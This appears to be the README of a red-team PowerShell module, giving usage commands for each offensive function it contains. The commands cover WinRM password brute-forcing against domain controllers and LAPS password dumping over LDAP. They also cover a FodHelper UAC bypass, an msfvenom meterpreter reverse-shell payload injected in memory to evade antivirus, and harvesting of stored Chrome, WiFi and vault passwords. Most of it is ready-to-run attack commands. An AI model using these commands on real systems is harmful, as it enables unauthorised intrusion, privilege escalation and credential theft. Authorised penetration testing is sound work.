PowerShell Red Team : Collection Of PowerShell Functions

Collection of PowerShell functions a Red Teamer may use to collect data from a machine or gain access to a target. I added ps1 files for the commands that are included in the RedTeamEnum module. This will allow you to easily find and use only one command if that is all you want. If you want the entire module perform the following actions after downloading the RedTeamEnum directory and contents to your device.

C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
#This will copy the module to a location that allows you to easily import it. If you are using OneDrive sync you may need to use $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum instead.

C:\PS> Import-Module -Name RedTeamEnum -Verbose
#This will import all the commands in the module.

C:\PS> Get-Command -Module RedTeamEnum
#This will list all the commands in the module.

  • Convert-Base64.psm1 is a function as the name states for encoding and/or decoding text into Base64 format.

C:\PS> Convert-Base64 -Value “Convert me to base64!” -Encode

C:\PS> Convert-Base64 -Value “Q29udmVydCBtZSB0byBiYXNlNjQh” -Decode

  • Convert-SID.ps1 is a function that converts SID values to usernames and usernames to SID values

C:\PS> Convert-SID -Username tobor
#The above example converts tobor its SID value

C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
#The above value converts the SID value to its associated username

  • Test-BruteZipPassword is a function that uses a password file to brute force a password protected zip file using 7zip

C:\PS> Test-BruteForceZipPassword -PassFile ‘C:\Users\USER\Downloads\Applications\pass.txt’ -Path ‘C:\Users\USER\Downloads\Applications\KiTTY.7z’ -ZipExe ‘C:\Program Files\7-Zip\7z.exe’
#This example uses the passwords in the pass.txt file to crack the password protected KiTTY.7z file

  • Test-BruteForceCredentials is a function that uses WinRM to brute force a users password.

C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username ‘admin’,’administrator’ -Passwd ‘Password123!’ -SleepMinutes 5
#This example will test the one password defined against both the admin and administrator users on the remote computer DC01.domain.com using WinRM over HTTPS with a time interval of 5 minutes between each attempt

C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
#This example will test every password in rockyou.txt against every username in the users.txt file without any pause between tried attempts

  • Get-LdapInfo is a function I am very proud of for performing general LDAP queries. Although only two properties will show in the output, all of the properties associated with object can be seen by piping to Select-Object -Property * or using the -Detailed switch parameter.

C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects
#The above returns all the properties of the returned objects

C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property ‘Name’,’ms-Mcs-AdmPwd’
#If this is run as admin it will return the LAPS password for the local admin account

C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like “user.samname”
#NOTE: If you include the “-Detailed” switch and pipe the output to where-object it will not return any properties. If you wish to display all the properties of your result it will need to be carried out using the below format

C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *

  • Get-NetworkShareInfo is a cmdlet that is used to retrieve information and/or brute force discover network shares available on a remote or local machine

C:\PS> Get-NetworkShareInfo -ShareName C$
#The above example returns information on the share C$ on the local machine
#RESULTS

Name : C$
InstallDate :
Description : Default share
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK

C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
#The above example disocvers and returns information on NETLOGON, SYSVOL, and C$ on the 3 remote devices DC01, DC02, and 10.10.10.1

  • Test-PrivEsc is a function that can be used for finding whether WSUS updates over HTTP are vulnerable to PrivEsc, Clear Text credentials are stored in common places, AlwaysInstallElevated is vulnerable to PrivEsc, Unquoted Service Paths exist, and enum of possible weak write permissions for services.

C:\PS> Test-PrivEsc

  • Get-InitialEnum is a function for enumerating the basics of a Windows Operating System to help better display possible weaknesses.

C:\PS> Get-InitialEnum

  • Start-SimpleHTTPServer is a function used to host an HTTP server for downloading files. It is meant to be similart to pythons SimpleHTTPServer module. Directories are not traversable through the web server. The files that will be hosted for download will be from the current directory you are in when issuing this command.

C:\PS> Start-SimpleHTTPServer
#Open HTTP Server on port 8000

#OR

C:\PS> Start-SimpleHTTPServer -Port 80
#Open HTTP Server on port 80

  • Invoke-PortScan.ps1 is a function for scanning all possible TCP ports on a target. I will improve in future by including UDP as well as the ability to define a port range. This one is honestly not even worth using because it is very slow. Threading is a weak area of mine and I plan to work on that with this one.

C:\PS> Invoke-PortScan -IpAddress 192.168.0.1

  • Invoke-PingSweep is a function used for performing a ping sweep of a subnet range.

C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
#NOTE: The source parameter only works if IP Source Routing value is “Yes”

C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
#Default value for count is 1

C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple

  • Invoke-UseCreds is a function I created to simplify the process of using obtained credentials during a pen test. I use -Passwd instead of -Password because that parameter when defined should be configured as a secure string which is not the case when entering a value into that filed with this function. It gets converted to a secure string after you set that value.

#The below command will use the entered credentials to open the msf.exe executable as the user tobor
C:\PS> Invoke-UseCreds -Username ‘OsbornePro\tobor’ -Passwd ‘P@ssw0rd1’ -Path .\msf.exe -Verbose

  • Invoke-FodHelperBypass is a function that tests whether or not the UAC bypass will work before executing it to elevate priviledges. This of course needs to be run by a member of the local administrators group as this bypass elevates the priviledges of the shell you are in. You can define the program to run which will allow you to execute generaate msfvenom payloads as well as cmd or powershell or just issuing commands.

C:\PS> Invoke-FodHelperBypass -Program “powershell” -Verbose

#OR

C:\PS> Invoke-FodHelperBypass -Program “cmd /c msf.exe” -Verbose

  • Invoke-InMemoryPayload is used for AV Evasion using an In-Memory injection. This will require the runner to generate an msfvenom payload using a command similar to the example below, and entering the “[Byte[]] $buf” variable into Invoke-InMemoryPayloads “ShellCode” parameter.

#Generate payload to use
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell

  • Start a listener, use that value in the “ShellCode” parameter, and run the command to gain your shell. This will also require certain memory protections to not be enabled. NOTE: Take note there are NOT ANY DOUBLE QUOTES around the ShellCode variables value. This is because it is expecting a byte array.

C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x5

  • Get-ClearTextPassword is used to obtain cached passwords, SNMP passwords in the registry, auto logon passwords, and WiFi passwords that are stored on a device. Only the current users passwords are able to be pulled from saved locations

Get-ClearTextPassword -All

The above command returns all the possible results the cmdlet is capable of. Individual locations can be searched as well. For Example

Get-ClearTextPassword -AutoLogon

More than one location can be defined in your search For Example

Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault